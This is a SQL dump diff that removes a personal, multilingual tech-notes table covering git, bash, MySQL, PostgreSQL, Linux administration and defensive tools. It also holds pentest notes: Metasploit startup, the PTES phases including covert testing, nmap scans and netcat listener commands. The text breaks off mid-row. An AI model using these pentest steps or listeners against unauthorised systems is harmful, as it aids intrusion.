 
 LOCK TABLES `notes_tech` WRITE;
 /*!40000 ALTER TABLE `notes_tech` DISABLE KEYS */;
-INSERT INTO `notes_tech` VALUES (1,'#crontab do not forget to add ; after all command in crontab',NULL,'not mentioned',NULL,'0000-00-00 00:00:00'),(2,'#git hooks in git is used for scripting about the local repo',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(3,'#git #central #important files:HEAD index objects refs',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(4,'#git #refs stocke les pointeurs vers les objets',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(5,'#git #head pointe sur le branche qui est en cours',NULL,'not mentioned',NULL,'2015-02-07 06:36:13'),(6,'#if [ -z \"$1\" ]','true if $1 is null','not mentioned',NULL,'2015-02-07 06:36:13'),(8,'#if [ -n \"$1\" ]','this is true if $1 is NOT null','not mentioned',NULL,'2015-02-07 06:36:13'),(9,'#mysql #for a in $(mysql_out_w/only_one_col) ; do ..... ; done','this is how to #scan a result of mysql_select\n  ex:\n    for valXX in $(msql \"select note from notes;\")\n    do\n      echo $valXX\n    done\n','not mentioned',NULL,'2015-02-07 06:36:13'),(10,'#scrb #policy #var_name','\nthose are some policy for variable name in #bash\n  error_var have to start with e_xxx\n','not mentioned',NULL,'2015-02-16 18:23:44'),(11,'#scrb #policy #body_of_script','\n\nshabang\nsome description of the script\nvariables which will be used in the body of the script\ntreat the error which can be caught by the script like error in argument\n....\nbody\n....\nexit X\n','not mentioned',NULL,'2015-02-16 18:23:44'),(12,'#git #reset #commit but _without_ changing the modification in file',NULL,'git reset HEAD^',NULL,'2015-02-07 06:36:13'),(13,'#git #reset #commit WITH cancelling the modification in file',NULL,'git reset --hard HEAD^',NULL,'2015-02-07 06:36:13'),(15,'#git #cancel #add in tracking',NULL,'git reset HEAD -- file00',NULL,'2015-02-07 06:36:13'),(16,'#git #revert','if u made a push to the server\n  it is not possible to cancel definetely that push\n  u have to make a new push which revert the previous push','git revert 45444cz',NULL,'2015-02-07 06:36:13'),(17,'#git #branch #create',NULL,'git branch new_branch00',NULL,'2015-02-07 06:36:13'),(18,'#git #branch #utility #query','\nbranch: il y a des modification que vous voulez faire mais vous n_etes pas sure des modification...... \n1-stoppez et commitez par la ou vous etes sures que le code marche....\n2-creez une branche (@this__id_n_t=17)....\n3-passez dans une autre branche grace a\n	git checkout branch00\n','not mentioned',NULL,'2015-02-02 15:24:44'),(19,'#git #branch #fusion #merge','\npour fusionner une branch00 avec branche master.....\n	va dans la branch _master_ d_abord\n		git checkout master\n	faite la fusion\n		git merge branch00\n','git merge branch00',NULL,'2015-02-02 15:21:05'),(20,'#git #branch #delete ','\nu did a fusion to branch00 to branch_master\nu want to delete branch00(__git branch -d branch00__)','git branch -d branch00',NULL,'2015-02-02 15:43:05'),(21,'#git #branch #check ','\nto see what are the branch which are in ur repo','git branch',NULL,'2015-02-07 06:36:13'),(22,'#git #branch #delete without merging to master ',NULL,'git branch -D branch00',NULL,'2015-02-02 15:43:05'),(23,'#git #stash ','u wanted to change to another branch but u made a modif in the current_br which is NOT commited, u don_t want to commit bcz it is a small changement........ u have to stash........then check the stash list(__git stash list__)...... to go back in the previ modif (__git stash apply stash@{5}__) that is for instance','git stash',NULL,'2015-02-07 06:36:13'),(24,'#git #stash ','to remove some stash which is being saved.... note that a stash is a saving which is not commited','git stash drop stash@{2}',NULL,'2015-02-07 06:36:13'),(25,'#mysql #rename_table','the title explains everything','rename table db00.table00 to db00.newName',NULL,'2015-02-07 06:36:13'),(26,'#mysql #rename_user','the title explains everything','rename user \"user00\"@\"host00\" to \"user01\"@\"host01\"',NULL,'2015-02-07 06:36:13'),(27,'#mysql #change_pass','the user00 must be logged into mysql;....the title explains everything','set password for \"user00\"@\"host00\" = password(\"your new pass\")',NULL,'2015-02-07 06:36:13'),(28,'#sed #intro','sed fonctionne en mode line par line',NULL,NULL,'2015-02-07 06:36:13'),(29,'#sed #intro','sed fonctionne en mode line par line\ncela a des bonnes et des mauvaises consequences',NULL,NULL,'2015-02-07 06:36:13'),(30,'#sed #intro','sed s\'utilise de deux facons\n  classique : on exe une cmd_sed sur un fichier puis on recupere la sortie sur une autre fichier \n  directe : on exe une cmd_sed sur un fichier puis le resultat s\'applique sur le fichier passee en entree',NULL,NULL,'2015-02-07 06:36:13'),(31,'#sed #intro','sed peut recevoir un script:\n  il y a 2facons de passer un scrip a sed:\n    sed -e __ici_le_script_uniligne__\n    sed -f __script_file__',NULL,NULL,'2015-02-07 06:36:13'),(32,'#sed #important #basis','2014-12-19 17:04:40','','\nsed -e __script_uniline__\n  ex: sed -e \'4d; 7d \' test.txt                 \n    -e : for the fact that the script \'4d; 7d \' will be performed in file_test.txt\n    -d : to delete\n      so \'4d; 7d \' meant to delete the line 4 AND 7    \n\n  ex : sed -e \'4,7 d\' test.txt\n  	to delete the line from 4 TILL 7\n\n','2015-02-07 06:36:13'),(33,'#sed #regex #intro',NULL,NULL,'\nsed \'/^# / d\' test.txt','2015-02-07 06:36:13'),(34,'#mysql #cluster #introduction #nodes','MySQL Clusters are built from three different types of node.\n  cluster = sum(3nodes)\n  3nodes:\n    management node\n    storage node\n    api node\n      used to extract data from db\n      most common is __mysqld__\n',NULL,NULL,'2015-02-07 06:36:13'),(35,'#mysql #cluster #install','\nu have to dl and install 2files\n  MySQL-Cluster-gpl-server-7.a.b-c.rhel5.x86_64.rpm\n  	this is about the server of the cluster\n  MySQL-client-community-5.a.b-c.rhel5.x86_64.rpm   	this is about the client of the cluster  \n\nafter installing these rpms, a file is created:\n  /etc/my.cnf\n\n',NULL,NULL,'2015-02-07 06:36:13'),(36,'#mysql #status check','\n$ service mysql status\nOR\n$ /etc/init.d mysql status\nOR\n$ telnet host00 3306\n  this is check if the server is up\n    and listening for connections on the port\n',NULL,NULL,'2015-02-07 06:36:13'),(37,'#mysql #log check','\nthe file of log is in:\n  /var/log/mysql/mysql.log\n    that is defined on the confFile in #general-log-file',NULL,NULL,'2015-02-07 06:36:13'),(38,'#sec #iptables #intro','u really need iptables to filter traffic which are permitted in ur serv\n  without ipt all traffics are almost allowed which is not good ',NULL,NULL,'2015-02-07 06:36:13'),(39,'#sec #iptables #intro #firewall','firewall do the analyse all packets.. do they respect the rules',NULL,NULL,'2015-02-07 06:36:13'),(40,'#sec #iptables #intro #firewall','criteria of filter are many: ports, protocols, addrIP, and more\n\niptables is very strict. then, if u want to activate iptables, u have to block everything, and right after, open what u want little by little',NULL,NULL,'2015-02-07 06:36:13'),(41,'#sec #log #auth #sys','to see who was logged into ur sys','/var/log/auth.log',NULL,'2015-02-07 06:36:13'),(42,'#sec #log #stuff #sys','stuff of log... errors, bugs, informations, .....','/var/log/message\n/var/log/syslog',NULL,'2015-02-07 06:36:13'),(43,'#sec #log #fail2ban','log of fail2ban... ','/var/log/fail2ban',NULL,'2015-02-07 06:36:13'),(44,'#sec #log #snort','log of snort... ','/var/log/snort/alert',NULL,'2015-02-07 06:36:13'),(45,'#sec #log #rkhunter','log of rkhunter... ','/var/log/rkhunter',NULL,'2015-02-07 06:36:13'),(46,'#sec #rkhunter #intro','if someone hacked ur sys, maybe he installed a backdoor in ur sys then he can rehack ur sys, and a rootkit to hide the hack\n\nrkhunter can detect rootkits on the server ',NULL,NULL,'2015-02-07 06:36:13'),(47,'#sec #conf #rkhunter','configuration_file of rkhunter','/etc/default/rkhunter',NULL,'2015-02-07 06:36:13'),(48,'#sec #intro','firewall had to block some connections, but the connections which are opened had to be controlled too,....\n  then we have ids (intrusion detection sys) and ips (intrustion prevention sys)\n    they are types of software which will detect all attempt of intrusion',NULL,NULL,'2015-02-07 06:36:13'),(49,'#sec #intro','those are the steps to do a classic intrusion:\n  scan port\n  simple attack\n  intrusion\n  how to log in the server on the purpose',NULL,NULL,'2015-02-07 06:36:13'),(50,'#sec #intro #portsentry','\nto block|manage who can scan ur port',NULL,NULL,'2015-02-07 06:36:13'),(51,'#sec #conf_file #portsentry','conf file of #portsentry','/usr/local/psionic/portsentry/portsentry.conf',NULL,'2015-02-07 06:36:13'),(52,'#sec #conf_file #portsentry','conf file of #portsentry','/etc/portsentry/portsentry.conf',NULL,'2015-02-07 06:36:13'),(53,'#sec #fail2ban #intro #definition','\nit is based on blocking ip which tried to log into some services and which it was failed\n  it will block the ip with iptables',NULL,NULL,'2015-01-20 23:30:55'),(54,'#sec #fail2ban #conf',NULL,'/etc/fail2ban/jail.conf',NULL,'2015-02-07 06:36:13'),(55,'#sec #snort #intro','it is powerful and analyse the traffic in live, then ur sys can slow down with this\nhttp://www.trustonme.net/didactels/187.html\nhttp://doc.ubuntu-fr.org/snort\n    \n when bug appears, check /var/log/syslog\n',NULL,NULL,'2015-02-07 06:36:13'),(56,'#sec #log #logwatch #conf_file',NULL,'/usr/share/logwatch/default.conf/logwatch.conf',NULL,'2015-02-07 06:36:13'),(57,'#sys #conf_file #ssh',NULL,'/etc/ssh/sshd_config',NULL,'2015-02-07 06:36:13'),(58,'#sys #conf_file #apache2',NULL,'/etc/apache2/apache2.conf',NULL,'2015-02-07 06:36:13'),(59,'#nmap','to scan port on a server and to make it verbose','nmap -v ip00',NULL,'2015-02-07 06:36:13'),(60,'#nessus #intro #sec','to scan vulnerabilities in ur sys',NULL,NULL,'2015-02-07 06:36:13'),(61,'#osi #memo #aide_memo','all people seems to need data processing\nOR\nplease, do not throw sausage pizza away',NULL,NULL,'2015-02-07 06:36:13'),(62,'#mysql #query #ifnull','this will select col00 and col01, but if col01 is null then it will be replaced by \'newVal\' in the select query only','select col00, IFNULL(col01,\'newVal\')',NULL,'2015-01-16 05:43:50'),(63,'#postfix #conf_file',NULL,'/etc/postfix/main.cf',NULL,'2015-02-07 06:36:13'),(64,'#postfix #package_to_install',NULL,'postfix postfix-mysql libasl2-2 libasl2-modules sasl2-bin libpam-mysql procmail',NULL,'2015-02-07 06:36:13'),(65,'#cisco #basis #intro #info #default','by default, all pc connected to sw are in vlan1. u can check it by: sw#show vlan',NULL,NULL,'2015-02-05 06:56:40'),(66,'#cisco #create_vlan','sw_conf#vlan 15\nxxxxxx#name vlanName\n',NULL,NULL,'2015-02-07 06:36:13'),(67,'#scrb #preserve_space #space','\njust put ur string inside \"\"\nor inside \'\'\n  ex: echo \' this preserve space \'\n  ex: echo this will    not preserve     the space \n',NULL,NULL,'2015-02-16 18:26:55'),(68,'#bash #printf #basis','',NULL,'\nprintf \'%s=%d\' line 245\nout:\n  line=245','2015-03-08 15:51:13'),(69,'#scrb #echo #newline_no','echo -n \'this need \n to do a newline\'',NULL,NULL,'2015-02-16 18:26:55'),(70,'#scrb #echo #character_special','echo -e \'u can write here sth like \n to make a newline......do not forget the -e with echo\'',NULL,NULL,'2015-02-16 18:26:55'),(71,'#linux #ls -long-list','','','\nto exclude directories:\n    ls -lS | grep -v \'^d\' \n\nto list recursively\n    ls -R\n\nonly list files and size only\n    du -a --max-depth=1 | sort -n\n\nlist files and filter it with some size\n    find . -size +10k -exec ls -lh {} +\n','2015-03-01 16:43:58'),(72,'#linux #basic #output','to write normal_out of a cmd to file01 and the error_out of a cmd to file02','cmd00 1>fileForNormal 2>fileForError',NULL,'2015-02-07 06:36:13'),(73,'#linux #basic #output #same_file','to write normal_out and error of a cmd to file01 ','cmd00 &> fileForNormAndErr',NULL,'2015-02-07 06:36:13'),(74,'#linux #tail',NULL,NULL,'\nthis is to print from the bottom of the file00\n  ex: tail file00\n    will print the 10last lines of file00\n  ex: tail -n 25 \n    will print the 25last lines of file00','2015-02-07 06:36:13'),(75,'#git #ignore_file','\nadd the files in .gitignore',NULL,NULL,'2015-02-07 06:36:13'),(76,'#git #list #tag','the order of the result do not tell as well the ?historic of the tag','git tag',NULL,'2015-02-07 06:36:13'),(77,'#git #list #tag #specification','to list all v1.4.1 ... v1.4.5 ... v1.4.10000','git tag -l \'v1.4.*\'',NULL,'2015-02-07 06:36:13'),(78,'#git #tag #types','\n2types of git_tag:\n  light:\n    almost like branch, doesn_t change\n  noted\n    stored as an object, stored in db of git\n    could checked and signed by gnu_guard\n',NULL,NULL,'2015-02-07 06:36:13'),(79,'#git #tag #create',NULL,NULL,'git tag -a v1.0.2 -m \'this is the comment of the tag\' \n	\n	-a	:	to create the tag\n	-m	:	to set a comment for the tag\n\n','2015-02-07 06:36:13'),(80,'#git #tag #show',NULL,'git show v1.5',NULL,'2015-02-07 06:36:13'),(81,'#git #tagging_after_commit #baliser_apres_coup',NULL,NULL,'git tag -a v1.2 9fec56','2015-02-07 06:36:13'),(82,'#git #push #all_tag #tag',NULL,NULL,'git push origin --tags\n  that is to push all tags into remote server','2015-02-07 06:36:13'),(83,'#git #install on #windows','\nu have to install msysgit\n  http://code.google.com/p/msysgit',NULL,NULL,'2015-02-07 06:36:13'),(84,'#pg #basic #intro','\nto create a new db\n  in ur sys, u have to be the user postgres\n  $ createdb db00\nnow it is created\nto connect to it, u have to be the user postgres to do this\n  $ psql db00\n',NULL,NULL,'2015-02-07 06:36:13'),(85,'#linux #read #end_of_file #eof',NULL,NULL,'\nread << eof\n  u will type sth till u type eof\n','2015-02-07 06:36:13'),(86,'#scrb #case #basic','\n#decl_var\n# all variables which u will use in ur script should be declared before the body of the function \nlocal choice ;\nlocal answer=\' ;\nlocal question=\'do u want to play a game ? [y/n]\'\nread -p \"$question\" answer\ncase \"$answer\" in\n	[yY] ) choice=\'y\' ;;\n	[nN] ) choice=\'n\' ;;\n	*	 ) choice=\"$answer\"\n		# here if the answer is different than y/n\nesac\n\n\n',NULL,NULL,'2015-02-16 18:26:55'),(87,'#scrb #arithmetic #operation',NULL,NULL,'\n# declaration of variable\ndeclare -i var00\nvar00=$((5+9))\n','2015-02-16 18:26:55'),(89,'#scrb #give_value_if_null',NULL,NULL,'\n${var00:=\'default_val\'}\n${var00:=\"$(pwd)\"}\n','2015-02-16 18:26:55'),(90,'#mysql #offset #limit #query',NULL,NULL,'\nselect * from table00 limit 5 offset 10\n  the query will start from the result number_10\n  and will show 5 rows only','2015-02-07 06:36:13'),(91,'#bash #declare_var_type #type',NULL,NULL,'\nto declare an integer \n  then u can compare the variable using -ge or -lt or .......\n    $ declare -i varInt\n','2015-02-07 06:36:13'),(92,'#mysql #dummy #safe-update #update',NULL,NULL,'edit:/etc/mysql/my.cnf\n  [mysql]\n  safe-updates\n','2015-02-07 06:36:13'),(93,'#mysql #date #day',NULL,NULL,'to get the day, and some info of today\n  select day(now());\n    val: 1-31\n  dayofweek()\n    val: 1 = sunday\n         ...\n         7 = saturday\n  dayname()\n    val: Thursday, Monday, ......\n  dayofyear\n    val: 1 - 366\n','2015-02-07 06:36:13'),(94,'#mysql #date #str_to_date',NULL,NULL,'\nselect str_to_date(\'2015-11-28\', \'%Y-%m-%d\');\n  %Y  year\n    YYYY\n  %m  month\n    mm\n  %d  day\n    dd\n  %y  year\n    yy\n  %h  hour\n    hh\n  %i  mn\n    ii\n  %s  sec\n    ss\n','2015-02-07 06:36:13'),(95,'#mysql #save_all_db_in_server #server #save',NULL,NULL,'\n$ mysqldump --user=root --password --all-databases > dump.sql\n','2015-02-07 06:36:13'),(96,'#mysql #save_table_into_file00.sql #table #save',NULL,NULL,'\n$ mysqldump --user=root --password db00 table00 > table00.sql\n','2015-02-07 06:36:13'),(97,'#mysql #select #save #outfile',NULL,NULL,'select * from table00 into outfile \'/path/file00\'','2015-02-07 06:36:13'),(98,'\n#lvm #intro ','3 basic terms:\n  physical volume \n    any block device. hdd or software_RAID_volume\n  volume group\n    collection of physical volume\n    physical volume can be added or removed from volume_group\n  logical volume\n    volume_group doesn_t have OS on it, then it needs logical_volume\n    used to mount, create file sys\n',NULL,NULL,'2015-02-07 06:36:13'),(99,'#linux #grub #version #check',NULL,NULL,'grub-install --version','2015-02-07 06:36:13'),(100,'#linux #grub #change_bg #background #bg','edit:/etc/default/grub\n  GRUB_BACKGROUND=\"/path/img00.png\"\n  sudo update-grub\n\nthat worked on grub_1.99-26',NULL,NULL,'2015-02-07 06:36:13'),(101,'#mysql #change_pass #pwd #password','set password=password(\'pass00\')',NULL,NULL,'2015-02-07 06:36:13'),(102,'#linux #mmt #reinit_kali #kali #os',NULL,NULL,'those folders should be set when I just installed a new linuxOS\n  /repos\n  /opt\n','2015-02-07 06:36:13'),(103,'#irc #log_in #identify',NULL,NULL,'/msg nickserv identify pseudo00 pass00','2015-02-07 06:36:13'),(104,'#mysql #order_by',NULL,NULL,'SELECT col01, col02, col03, col04 FROM driver_log ORDER BY 3','2015-02-07 06:36:13'),(105,'#linux #firefox #ff #flash #install',NULL,'','\n  ø dl: http://get.adobe.com/flashplayer/\n  ø extract the .tar.gz \n  ø cp libflashplayer.so /usr/lib/mozilla/plugins/\n','2015-02-07 06:36:13'),(106,'#linux #filesystem #purpose_of_folder #root_folder','\n/dev:   raha hiAcceder peripherique: partitions, disk, carte son, ports SCSI, ...\n    /etc:   ato ny daholo ny fichiers de configuration des logiciels\n    /media: fimontena peripherique amovible(ho an\'ny OS sasany)\n     /usr:   fisian\'ny fichier hoPartagena en reseau, na natao en lecture seule\n    /opt:   misy ny apps complementaire, izan hoe tsy anle distro installee\n    /var:   ao no misy ny fichiers temporaires, miasa am logiciel ka ho supprimena rhf fermena ny logiciel\n    /boot:  ao no misy ny fichiers mampademarre ny machine,\n            ao koa no misy ny fichiersde configuration GRUB \n    /lib:   ao no misy ny librairie izay ampiasain\'ny utilisateur\n   /sbin:  mitovtov am /bin,\n   /bin:   ato no misy ny prg apesain_user\n',NULL,NULL,'2015-02-07 06:36:13'),(107,'#linux #filesystem #purpose_of_folder #root_folder','\n/srv contains site-specific data which is served by this system.\n/initrd provides the capability to load a RAM disk by the boot loader\n/dev is the location of special or device files.\n  everything is a file or a directory.\n  inside this: hda1, hda2, ...  which represent the various which represent the various\n     /dev/cdrom represent your CD-ROM\n    /dev/fd0 represent floppy disk \n\n/lost+found\n  Sometimes your system might crash or a power failure might take the machine down. Either way, at the next boot, a lengthy filesystem check using fsck will be done.\n    The files recovered are not likely to be complete\n      but there always is a chance that something worthwhile is recovered\n  Each partition has its own lost+found directory\n    If you find files in there, try to move them back to their original location\n\n/mnt\n  u should mount ur devices here like cd\n    mount /dev/cdrom /mnt/cdrom\n\n/proc\n  It doesn_t contain _real_ files but runtime system information\n    e.g. system memory, devices mounted, hardware configuration, etc\n  for the information centre for the kernel\n  e.g   \'lsmod\' is the same as \'cat /proc/modules\' while \'lspci\' is a synonym for \'cat /proc/pci\'\n\n',NULL,NULL,'2015-02-07 06:36:13'),(108,'to #extract some range of lines in file00 #sed',NULL,'sed -n 2,4p file00',NULL,'2015-02-07 06:36:13'),(109,'#mplayer #interval_playing',NULL,NULL,'\nto run a media from 90sec and 30sec which are after\n  mplayer -ss 90 -endpos 30 file00.mp3\n','2015-02-07 06:36:13'),(110,'#youtube-dl #install ',NULL,NULL,'\nhttp://rg3.github.io/youtube-dl/download.html\n\n  sudo curl https://yt-dl.org/downloads/2015.01.08/youtube-dl -o /usr/local/bin/youtube-dl\n  sudo chmod a+x /usr/local/bin/youtube-dl\n','2015-02-07 06:36:13'),(111,'#ffprobe #install',NULL,NULL,'this is installed with ffmpeg\n  apt-get install ffmpeg\n','2015-02-07 06:36:13'),(112,'#os#installation',NULL,NULL,'tune2fs -l /dev/sda5 |grep  \'Filesystem created\'\n','2015-02-07 06:36:13'),(113,'#latest_created_file #linux #ls',NULL,'ls -1t | head -1',NULL,'2015-02-07 06:36:13'),(114,'#linux #readlink',NULL,NULL,'readlink -f file00\n  to get the fullpath of file00','2015-02-07 06:36:13'),(115,'-find #linux simple',NULL,NULL,'find /path/folder00 -iname \'*pattern00*\'\n  to find file_folder having pattern00 in its name inside folder00\nto find multiple files with find\n    find  \\( -name \'demo.c\' -o -name \'hello\' \\)\n\nto get all files but not file01 and file02\n    find ! \\( -name \'demo.c\' -o -name \'hello\' \\)\n    \n','2015-03-09 08:08:15'),(116,'#mysql #update #append',NULL,NULL,'\nupdate table00 set col00=concat(col00, \'appended00\') ','2015-02-07 06:36:13'),(117,'#pg #architecture #basis #intro\nserver and client could be on different hosts. They will communicat over tcp_ip netw connection','\npg works on server/client\n  server is called postgres\n  client could be cli, graphical app, webserver that accesses the db',NULL,NULL,'2015-02-07 06:36:13'),(118,'#pg #basis #intro #linux #create_db',NULL,NULL,'\ncreatedb db00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:createdb','2015-02-07 06:36:13'),(119,'#pg #basis #intro #linux #delete_db',NULL,NULL,'\ndropdb db00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:createdb','2015-02-07 06:36:13'),(120,'#pg #basis #intro #create_user',NULL,NULL,'\ncreateuser user00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:','2015-02-07 06:36:13'),(121,'#pg #basis #intro #delete_user',NULL,NULL,'\ndeleteuser user00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:','2015-02-07 06:36:13'),(122,'#pg #basis #intro #role #explanation',NULL,NULL,'\nPostgreSQL manages database access permissions using the concept of roles\nA role can be thought of as either a database user, or a group of database users,','2015-02-07 06:36:13'),(123,'#pg #basis #intro #exit #go_out',NULL,NULL,'\ndb0==> q\n','2015-02-07 06:36:13'),(124,'#pg #basis #intro #help #get_help',NULL,NULL,'\ndb0==> h\n','2015-02-07 06:36:13'),(125,'#pg #basis #intro #create #table',NULL,NULL,'\nCREATE TABLE weather (\n    city            varchar(80),\n    temp_lo         int,           -- low temperature\n    temp_hi         int,           -- high temperature\n    prcp            real,          -- precipitation\n    date            date\n);\n','2015-02-07 06:36:13'),(126,'#pg #basis #intro #auto_increment #increment #serial#primary#key',NULL,NULL,'\nCREATE TABLE foo (\nid SERIAL PRIMARY KEY,\nbar varchar);\n\nthen col(id) will auto_increment\n','2015-02-07 06:36:13'),(127,'#pg #basis #insert',NULL,NULL,'\nINSERT INTO COMPANY (col_int, col_str)\nVALUES (100, \'str00\');\n','2015-02-07 06:36:13'),(128,'#pg #basis #drop #table',NULL,NULL,'\nDROP TABLE table_name;\n','2015-02-07 06:36:13'),(129,'#pg #basis #show #table #show_table',NULL,NULL,'\nd;\n','2015-02-07 06:36:13'),(130,'#pg #basis #list #show #db #database #show_databases',NULL,NULL,'\\list\n OR\n\\dt','2015-02-07 06:36:13'),(131,'#pg #describe#table ',NULL,'\n\\d+ table00;',NULL,'2015-02-07 06:36:13'),(132,'#pg #\\G ',NULL,NULL,'\n\\x \n  then it is now activated\n  and do it again to deactivate it','2015-02-07 06:36:13'),(133,'#irc #search#chan #list',NULL,NULL,'/msg alis list * -topic *topic00*','2015-02-07 06:36:13'),(134,'#metasploit #start #intro',NULL,NULL,'remember to start #pg\n  /etc/init.d/postgresql start\nu should understand the basis of pg\n\nstart #metasploit\n  /etc/init.d/metasploit start\n  # at the first time u run that cmd, metasploit will create a db(msf3)\n  # ifk: there are many cmd in #metasploit, one of them is #msfconsole\nstart #msfconsole\n  msfconsole # cmd lin\n  # now u have the prompt of msfconsole which look like this\n  #### msf >\n\ncheck that msfconsole is connected to db(msf3)\n  msf > db_status\n','2015-02-07 06:36:13'),(135,'#script #linux #starting#os',NULL,NULL,'edit:/etc/rc.local\n  # put ur script on that file\n\nOR\n\nifk: if the script to run the service is in /etc/init.d/\n  then, u can do\n  update-rc.d postgresql enable\n','2015-02-07 06:36:13'),(136,'#set #update',NULL,'/usr/share/set/set-update\n  and it will update automatically',NULL,'2015-02-07 06:36:13'),(137,'#ptes #intro #basics #phases #7phases','\nThe penetration testing execution standard consists of seven (7) main sections\n  Pre-engagement Interactions\n    when you discuss the _scope and terms\n      of the pentest with ur client\n    u should _convey the goal of the pentest\n\n  Intelligence Gathering\n    gather any information you can about the organization you are attacking by using social-media networks\n    how it behaves, how it operates, and how it ultimately can be attacked.\n    that will give you valuable _insight into the types of security controls in place.\n    ex : org00 has some ports opened, then they will be used when u query sth\n      try to query sth from another port, then u will be blocked\n      _probe that way of blocking sys\n    \n  Threat Modeling\n    uses the information you acquired in the intelligence-gathering\n    Threat modeling involves looking at an organization as an adversary and attempting to exploit weaknesses as an attacker would.\n      then, try to get the most powerful attack\n    xxxxxxxxx __important__ u just define the type of attack but u don_t attack yet xxxxxxxxxxxxxxxx\n\n  Vulnerability Analysis\n    after getting the way to attack, think about \n      how will you access the target \n    _takes into account_ port and vulnerability scans\n\n  Exploitation\n    this should be done when you know almost beyond a shadow of a doubt that an exploit will be successful.\n\n  Post-Exploitation\n    begins after you have compromised one or more systems\n    where u diffentiate urself from the average \n    targets information or data that the company values most\n    When you exploit one system after another, you are trying to demonstrate attacks that would have the greatest business impact\n\n  Reporting\n    use reports to communicate what you did, how you did it, and, most impor- tant, how the organization should fix it\n    At a minimum,\n      divide your report into an \n        executive summary, \n        executive presentation, \n        and technical findings\n          will be used by the client to remediate security holes\n',NULL,NULL,'2015-02-07 06:36:13'),(138,'#ptes #types #intro #2types','\novert pentesting\n  u have access from the organisation to pentest the sys of the org00\n  then, u have many information about the org_target\n\ncovert pentesting\n  to attack or to simulate an attacker towards an organisation\n    without the knowledge for the org_target that they are attacked :/\n',NULL,NULL,'2015-02-07 06:36:13'),(139,'#linux #group #list',NULL,NULL,'cut -d: -f1 /etc/group\n  that is to list all group in ur sys','2015-02-07 06:36:13'),(140,'#linux #user #list',NULL,NULL,'\ncut -d: -f1 /etc/passwd\n  to list all user in ur linux','2015-02-07 06:36:13'),(141,'#linux #user #create#useradd',NULL,NULL,'\nuseradd -d /path/home_user00 user00\n','2015-02-07 06:36:13'),(142,'#linux #create#user #specifi#uid#useradd',NULL,NULL,'useradd -u 127 user00','2015-02-07 06:36:13'),(143,'#linux #create#user #specifi#gid#useradd',NULL,NULL,'useradd -u 1000 -g 500 user00','2015-02-07 06:36:13'),(144,'#create#user to #multiple#groups',NULL,NULL,'useradd -G grp00,grp01,grp02 user00','2015-02-07 06:36:13'),(145,'#user to #check in #multiple#groups #id',NULL,NULL,'id user00','2015-02-07 06:36:13'),(146,'#useradd #create#user #specific#group',NULL,'useradd -G grp00 user00',NULL,'2015-02-07 06:36:13'),(147,'#linux #make a #user #sudoer',NULL,NULL,'edit:/etc/sudoers\n  add\n  user00 ALL=(ALL) ALL\n','2015-02-07 06:36:13'),(148,'#linux #cut #delimiter #column',NULL,NULL,'ls -l|cut -d -f4;\n  the delimiter is whitespace after -d and take the 4th col','2015-02-07 06:36:13'),(149,'#nc #check #port#listening',NULL,'nc -v 192.168.20.9 80',NULL,'2015-02-07 06:36:13'),(150,'#nc #check #port #incoming#connection',NULL,'nc -lvp 1234',NULL,'2015-02-07 06:36:13'),(151,'#nc #connection #chat #teamviewer #cli_only',NULL,NULL,'in pc who will listen\n  nc -lvp 1234 # 1234 is a port\n\nin pc who will send txt\n  nc 127.0.0.1 1234\n\nthen the second pc can send msg to the first, \n  change 127.0.0.1 by the ip of the first pc','2015-02-07 06:36:13'),(152,'#python #read#interactively',NULL,NULL,'#python #read#interactively #string','2015-02-07 06:36:13'),(153,'#python #read#interactively #integer',NULL,NULL,'p = input(\"integer: \") \n','2015-02-07 06:36:13'),(154,'#update #metasploit',NULL,NULL,'sudo msfupdate','2015-02-07 06:36:13'),(155,'#firewall #iptable #intro','firewall is the first line of defense\nto have a secure netw from outside attack\n  install a firewall between ur lin sys and the connection to the internet\n\nfirewall can be installed in:\n  router\n  computer',NULL,NULL,'2015-02-07 06:36:13'),(156,'#iptables #list#rules',NULL,NULL,'iptables --list','2015-02-07 06:36:13'),(157,'#iptables #intro #important#object',NULL,NULL,'\nR u l e s\n======================================================================================\n  perform the packetfiltering or manipulation\n  made of several parts\n    the table to which this rule should be added\n      If no table is defined the rule will be added to the “filter” table\n    The Chain to which this rule should be added\n    The filtering or manipulation instructions\n    The target of the rule\n      This target decides what should be done with the packet if it matches the rule.\n      ex : DROP : to drop the packets if the packets matched the rule\n           ACCEPT\n           LOG  : to write sth(...) if it matched\n\nC h a i n s\n==========================================================================================\nrules are organized in “chains”\nThere are some built-in chains that are always available for the user like the INPUT or the OUTPUT in the filter_table\n\nT a b l e s\n==========================================================================================\nchains themselves are organized in so called “tables”\n\nThere are three tables available \n  filter,\n    used for packet filtering\n  nat  \n    made for all kind of “Network Address Translation” technology\n  mangle\n    designed to hold chains and rules that change other attributes of the packets or sending them into the userspace to be processed by any other application\n    this is very complex','2015-02-07 06:36:13'),(158,'#metasploit #architecture','\n				  xxxxxxxx			    xxxxxxxxxxx\n                                  x  lib x              --------->  x  interf x\n				  xxxxxxxx              |           xxxxxxxxxxx\ntools    --------------->            rex		|	       console	\n			    	      ^			|		\n				      |			|		cli\n				   msfcore              |\n				      ^			|		web\n				      |                 |\nplugins  --------------->          msfbase    <---------|		gui\n				      ^             \n				      |\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nx                                  modules					x\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\npayloads    |      exploits      |      encoders      |      nops      |      aux\n',NULL,NULL,'2015-02-07 06:36:13'),(159,'#firewall #iptable #intro #basic#functionalities','\nthose are some basic functionnality of firewall \n  Stealth Mode - Discarding Pings\n  bcz ping can find out if a particular sys is up\n    it can be discarded\n\n   Port Forwarding and Blocking\n     the most fundamental level of firewall security and will be the most used\n\n  Packet Filtering\n    much more advanced 